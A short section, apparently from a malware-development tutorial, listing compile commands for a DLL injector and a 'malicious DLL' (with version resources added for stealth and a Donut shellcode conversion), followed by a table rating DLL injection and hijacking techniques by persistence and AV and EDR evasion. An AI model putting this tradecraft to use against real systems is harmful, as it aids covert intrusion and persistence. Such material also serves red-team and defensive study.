11.3 Compile Commands Reference

# Simple injector (Windows cross-compile from Linux):
x86_64-w64-mingw32-gcc injector.c -o injector.exe

# Malicious DLL:
x86_64-w64-mingw32-gcc -shared evil.c -o evil.dll

# 32-bit DLL:
i686-w64-mingw32-gcc -shared evil.c -o evil32.dll

# With resource file (version info for stealth):
x86_64-w64-mingw32-windres resource.rc -O coff -o resource.o
x86_64-w64-mingw32-gcc -shared evil.c resource.o -o evil.dll

# MSVC (on Windows):
cl.exe /LD evil.c /Fe:evil.dll
cl.exe injector.c /Fe:injector.exe

# Donut → shellcode:
./donut -f evil.dll -a 2 -o shellcode.bin

11.4 DLL Injection Impact Table

Technique Admin Needed Persistence AV Evasion EDR Evasion
Classic DLL inject ✅ Yes ❌ No 🟡 Medium 🔴 Low
Reflective DLL inject ✅ Yes ❌ No 🟢 High 🟠 Medium
DLL hijacking ❌ No (sometimes) ✅ Yes 🟢 High 🟢 High
DLL sideloading ❌ No ✅ Yes 🔴 Very High 🔴 Very High
COM hijacking ❌ No ✅ Yes 🔴 Very High 🟢 High
AppInit_DLLs ✅ Yes ✅ Yes 🟡 Medium 🟡 Medium
Module stomping ✅ Yes ❌ No 🔴 Very High 🔴 Very High

← Malware development top ↑